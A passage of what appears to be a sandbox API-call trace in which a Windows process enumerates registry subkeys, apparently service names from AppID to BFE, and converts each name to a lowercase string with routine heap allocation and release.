lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0169.343] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.343] RegEnumKeyW (in: hKey=0x140, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.344] RegEnumKeyW (in: hKey=0x140, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0169.344] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.345] RegEnumKeyW (in: hKey=0x140, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.345] RegEnumKeyW (in: hKey=0x140, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.345] RegEnumKeyW (in: hKey=0x140, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.345] RegEnumKeyW (in: hKey=0x140, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.345] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0169.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.346] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.347] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.347] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0169.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.347] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.347] RegEnumKeyW (in: 